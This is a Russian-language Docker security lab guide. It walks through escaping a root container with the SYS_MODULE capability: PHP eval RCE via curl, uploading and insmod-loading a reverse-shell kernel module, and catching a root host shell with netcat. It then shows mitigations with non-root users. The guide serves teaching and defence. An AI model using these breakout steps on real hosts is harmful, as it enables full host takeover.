# Docker Security ## Руководство к практике №1 ### Для выполнения потребуется: - virtualbox - vagrant - ansible - набор файлов предоставляемых в директории `Lab#1` Можно обойтись только набором virtualbox+vagrant, но придется доделывать настройку стенда самостоятельно. ## Описание сценария тестирования Стенд представляет из себя две виртуальные машины: - жертву `victim` - атакующего `hacker` Обе выполнены на основе ОС Debian buster. На хосте `victim` в домашней директории пользователя `vagrant` создан файл `/home/vagrant/FLAG` содержащий текст `WAS HACKED`. Это сделано для более простой иллюстрации выхода из docker-контейнера. Для иллюстрации процесса `Docker Container Breakout` используется эксплуатация через модули ядра. Для реализации, которой необходимо наличие привилегии `SYS_MODULE`. Эти привилегии по-умолчанию отключены. Но необходимо понимать, что Docker Container Breakout через модули это не единственный способ, здесь он используется как пример. Привелегия `cap_sys_module` может быть добавлена как непосредственно установкой флага `SYS_MODULE` в docker-compose.yml: `cap_add: ["SYS_MODULE"]` или добавлением аргумента `--cap-add SYS_MODULE` в команду `docker run`. Так и при добавлении аргумента `--privileged` в команду `docker run`. Для взаимодействия между хостами `victim` и `hacker` организована сеть 192.168.50.0/24. Настройки хостов: - `victim` IP: 192.168.56.4; - `hacker` IP: 192.168.50.5. Чтобы запустить установку и настройку стенда: - Открываем терминал; - Нужно зайти в директорию `Lab#1` и запустить команду: ``` $ vagrant up ``` :::info ## Решение возможных проблем Перед тем как продолжить выполнение команд нужно убедиться, что можно найти пакет с заголовками ядра для текущей версии ядра. Это можно сделать двумя способами. Проверяем: ```bash $ vagrant ssh hacker vagrant@hacker:~$ apt-cache policy linux-headers-$(uname -r) # если для вашей версии нет заголовков, то вы получите подобное сообщение об ошибке: N: Unable to locate package linux-headers-4.19.0-9-amd64 # если же ошибок не возникло, то данный пункт можно пропустить ``` Исправляем одним из вариантов: 1) подключив к виртуальной машине архивные репозитории Зная версию ядра (получено на предыдущем этапе) можем найти необходимый пакет здесь: https://snapshot.debian.org/archive/debian/ Выбрав примерное время существования этого пакета (можно изучить release notes), выбираем необходимый год месяц и время. И далее проверяем наличие пакета в репозитории, скачивая файл packages.gz и проверяем, что в этом файле есть нужный пакет. https://snapshot.debian.org/archive/debian/20200601T024402Z/dists/buster/main/binary-amd64/Packages.gz. Если успешно нашли нужный файл, то можно добавить этот репозиторий в sources.list, например для пакета linux-headers-4.19.0-9: ```bash echo "deb https://snapshot.debian.org/archive/debian/20200601T024402Z buster main" >> /etc/apt/sources.list apt update apt-cache policy linux-headers-$(uname -r) ``` 2) обновив ядро и заголовки на обоих виртуальных машинах ```bash $ vagrant ssh victim vagrant@victim:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64 vagrant@victim:~$ sudo reboot $ vagrant ssh hacker vagrant@hacker:~$ sudo apt -y install linux-headers-amd64 linux-image-amd64 vagrant@hacker:~$ sudo reboot ``` ::: ## Подготовка victim Для демонстрации уязвимости используется уязвимое веб-приложение. Чтобы упросить процедуру запуска приложения был подготовлен файл docker-compose. Запускать этот файл нужно внутри контейнера на системе `victim`: ``` $ vagrant ssh victim vagrant@victim:~$ cd /vagrant/victim/ vagrant@victim:/vagrant/victim$ docker-compose up -d ``` Посмотрим от имени какого пользователя запущен процесс с pid 1 в запущенном контейнере: ``` vagrant@victim:/vagrant/victim$ docker-compose exec webapp bash root@ef07105a20f9:/app# ls -l /proc/1 total 0 dr-xr-xr-x 2 root root 0 Nov 26 17:14 attr ... ``` Владелец файлов в директории `/proc/<PID>` аналогичен владельцу самого процесса. Это способ определить владельца в случае если `ps` не установлен. Процесс запущен от имени `root` - значит запуск произведен успешно. ## Эксплуатация уязвимости Рассматриваемая атака требует выполнения нескольких основных условий, которые позволяют произвести выход из контейнера на основную систему: 1. Приложение запущено от имени пользователя root 2. Приложение содержит уязвимость или функционал, который позволяет запускать команды в контейнере Так как при использовании docker ядро используеться из хостовой системы, то операции с ядром (например загрузка модуля) выполняються сразу во всех контейнерах и хостовой системе. Зайдём в VM `hacker`: ``` $ vagrant ssh hacker ``` Проверим от имени какого пользователя запущено web-приложение, для этого выполним команду `id`: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" <h1> Hello world!</h1> uid=0(root) gid=0(root) groups=0(root) <br> ``` Сообщение говорит нам о том, что процесс, в контексте которого мы выполняем наши команды, запущен от имени пользователя root. Проверим доступность команды `capsh`, которая позволит нам просмотреть доступные нам разрешения: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('whereis capsh');" <h1> Hello world!</h1> capsh: <br> ``` Команда capsh не найдена. Установим ее: ``` vagrant@hacker:~$ curl -G 192.168.56.4 \ --data-urlencode "code=system('apt-get update && apt-get install -y libcap2-bin kmod');" ... ``` Теперь посмотрим доступные разрешения: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('capsh --print');" <h1> Hello world!</h1> Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups= <br> ``` Наличие в выводе `cap_sys_module` говорит о том что мы можем воспользоваться специально подготовленным модулем для запуска revers shell на атакуемой системе. Соберём специально подготовленный модуль для получения shell на хостовой системе. Так как хосты `victim` и `hacker` имеют одну и туже ОС, то мы можем откомпилировать модуль на хосте `hacker` и записать его на хост `victim` через RCE. Для сборки модуля выполним следующие команды: ``` vagrant@hacker:~$ cd /vagrant/hacker vagrant@hacker:/vagrant/hacker$ sudo apt-get install linux-headers-`uname -r` vagrant@hacker:/vagrant/hacker$ make make -C /lib/modules/4.19.0-9-amd64/build M=/vagrant/hacker modules make[1]: Entering directory '/usr/src/linux-headers-4.19.0-9-amd64' CC [M] /vagrant/hacker/reverse-shell.o Building modules, stage 2. MODPOST 1 modules CC /vagrant/hacker/reverse-shell.mod.o LD [M] /vagrant/hacker/reverse-shell.ko make[1]: Leaving directory '/usr/src/linux-headers-4.19.0-9-amd64' ``` Загрузим эксплоит на хост `victim`. Для этого передадим файл в теле HTTP запроса. Но так как эксплоит работает с аргументом `code`, который передается только в качестве GET аргумента. И целевая программа абсолютно не умеет обрабатывать POST аргументы. Поэтому мы сформируем линк в котором в качестве значения аргумента `code` укажем программу, которая будет обрабатывать POST аргументы. Текст программы будет выглядить так: ```php move_uploaded_file($_FILES['shell']['tmp_name'], 'reverse-shell.ko'); ``` Произведем urlencoding этой строки и выполним получившийся запрос: ``` vagrant@hacker:~$ curl -v -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B \ -F 'shell=@reverse-shell.ko' ``` Откроем ещё один терминал на хосте `hacker` и запустим на нем netcat в режиме ожидания соединения: ``` $ vagrant ssh hacker vagrant@hacker:~$ nc -vnlp 4444 listening on [any] 4444 ... ``` Теперь загрузим модуль: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('insmod reverse-shell.ko');" <h1> Hello world!</h1> <br> ``` При этом во втором окне, там где запустили netcat, получим привилегированный shell на хостовой системе `victim`: ``` vagrant@hacker:~$ nc -vnlp 4444 listening on [any] 4444 ... connect to [192.168.56.5] from (UNKNOWN) [192.168.56.4] 39060 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@victim:/# id id uid=0(root) gid=0(root) groups=0(root) root@victim:/# cat /home/vagrant/FLAG cat /home/vagrant/FLAG WAS HACKED ``` :::success ## Как митигировать уязвимость. Способ №1 Самым простым способом решения проблемы является запуск из под не привилегированного пользователя. Для реализации этого подхода на хосте `victim` открываем Dockerfile и добавляем в него строку `USER 1000`: ``` $ vagrant ssh victim vagrant@victim:~$ cd /vagrant/victim/ vagrant@victim:/vagrant/victim$ docker-compose stop Stopping victim_webapp_1 ... done vagrant@victim:/vagrant/victim$ nano Dockerfile ... USER 1000 ... <Ctrl+O><Ctrl+X> vagrant@victim:/vagrant/victim$ docker-compose up --build -d Building webapp Step 1/5 : FROM php:7.4-cli ---> 639632eff06b Step 2/5 : WORKDIR /app ---> Using cache ---> 6cd15b0ede2b Step 3/5 : USER 1000 ---> Running in 84916b1065ad Removing intermediate container 84916b1065ad ---> 07fe5524f58b Step 4/5 : COPY index.php index.php ---> 789aa580e832 Step 5/5 : CMD [ "php", "-S", "0.0.0.0:80" ] ---> Running in fd3e54dd7ef2 Removing intermediate container fd3e54dd7ef2 ---> 3afd0af1371b Successfully built 3afd0af1371b Successfully tagged victim_webapp:latest Recreating victim_webapp_1 ... done ``` Теперь выполним проверку с хоста `hacker`: ``` $ vagrant ssh hacker vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" <h1> Hello world!</h1> uid=1000 gid=0(root) groups=0(root) <br> ``` Как видно приложение запущено из-под пользователя с UID=1000. Тем не менее попробуем установить необходимые пакеты: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('apt-get update 2>&1 && apt-get install -y libcap2-bin kmod 2>&1');" <h1> Hello world!</h1> Reading package lists... E: List directory /var/lib/apt/lists/partial is missing. - Acquire (13: Permission denied) <br> ``` Несмотря на то, что установить `kmod` не удалось попробуем загрузить модуль ``` vagrant@hacker:~$ cd /vagrant/hacker/ vagrant@hacker:/vagrant/hacker$ curl -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B -F 'shell=@reverse-shell.ko' <h1> Hello world!</h1> <br /> <b>Warning</b>: move_uploaded_file(reverse-shell.ko): failed to open stream: Permission denied in <b>/app/index.php(3) : eval()'d code</b> on line <b>1</b><br /> <br /> <b>Warning</b>: move_uploaded_file(): Unable to move '/tmp/phpXpL5E6' to 'reverse-shell.ko' in <b>/app/index.php(3) : eval()'d code</b> on line <b>1</b><br /> <br> ``` В лоб загрузить не удалось. Есть возможность попробовать загрузить в папку `tmp`. Но даже после этого выполнить команду `insmod` не удастся. 1. kmod - не установлен и команды `insmod` просто нет 2. У не привелигированного пользователя нет прав для выполнения этой операции. ::: :::warning ## Как митигировать уязвимость. Способ №2 Не всегда есть возможность запускать docker-контейнер сразу из под не привилегированного пользователя. Иногда перед запуском основного приложения необходимо выполнить ряд операций необходимых для его работы. Например: - создать директории для логов или изменить их владельца; - сгенерировать конфигурационные файлы; - и пр. Для выполнения этих функций используются init-скрипт, который копируются в docker-образ во время build и запускается как `entrypoint`. Чаще всего выполнять этот init-скрипт необходимо из под привилегированного пользователя. А переход к выполнению основного приложения происходит при помощи команды `exec`. Это необходимо для того что бы процесс с PID=1 продолжил существовать. Большинство серверных приложений (Например nginx, apache и тп.) после запуска мастер-процесса запускает воркеры из под не привилегированного пользователя. К сожалению, не все приложения ведут себя таким образом. Для того, что бы реализовать запуск от имени непривилегированного пользователя можно добавить в init-скрипт конструкцию аналогичную приведённой ниже: ``` #!/bin/sh <PREPARE> useradd -M -u 1000 -s /usr/sbin/nologin web exec sudo -u web "$@" ``` Для реализации этого метода нам необходимо добавить в образ команду `sudo`. Теперь зайдём на хост `victim` и отредактируем `Dockerfile` добавим в него следующие строки: ``` $ vagrant ssh victim vagrant@victim:~$ cd /vagrant/victim/ vagrant@victim:/vagrant/victim$ docker-compose stop Stopping victim_webapp_1 ... done vagrant@victim:/vagrant/victim$ nano Dockerfile ... RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* COPY init /usr/local/bin/ ENTRYPOINT ["/usr/local/bin/init"] ... <Ctrl+O><Ctrl+X> ``` Теперь вновь запустим docker-compose: ``` vagrant@victim:/vagrant/victim$ docker-compose up --build -d Building webapp Step 1/7 : FROM php:7.4-cli ---> 639632eff06b Step 2/7 : WORKDIR /app ---> Using cache ---> 6cd15b0ede2b Step 3/7 : COPY index.php index.php ---> Using cache ---> 5dca7eea1c20 Step 4/7 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* ---> Using cache ---> 2c7e7373d41d Step 5/7 : COPY init /usr/local/bin/ ---> 39176282c378 Step 6/7 : ENTRYPOINT ["/usr/local/bin/init"] ---> Running in e91eff9f90d6 Removing intermediate container e91eff9f90d6 ---> 74aaf39f199d Step 7/7 : CMD [ "/usr/local/bin/php", "-S", "0.0.0.0:8080" ] ---> Running in f8f0f773dcb0 Removing intermediate container f8f0f773dcb0 ---> 830927363205 Successfully built 830927363205 Successfully tagged victim_webapp:latest Recreating victim_webapp_1 ... done ``` Зайдём на хост `hacker` и проверим из под какого пользователя запущен наш web-сервер: ``` vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" <h1> Hello world!</h1> uid=1000(web) gid=1000(web) groups=1000(web) <br> ``` Недостатком данного способа является: - Необходимость добавления sudo в docker-образ - В результате работы конструкции `exec sudo` создаётся два процесса. Так как `sudo` работает через fork: ``` ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.4 6936 2224 ? Ss 16:24 0:00 sudo -u web /usr/local/bin/php -S 0.0.0.0:8080 web 13 0.0 3.8 80160 18840 ? S 16:24 0:00 /usr/local/bin/php -S 0.0.0.0:8080 ``` ::: ## Полезные материалы для изучения - https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host - https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
{"metaMigratedAt":"2023-06-17T08:39:57.529Z","metaMigratedFrom":"Content","title":"Docker Security","breaks":true,"contributors":"[{\"id\":\"50586d07-5b5c-4647-9a33-d308ffac1ba7\",\"add\":15732,\"del\":345}]"}
    195 views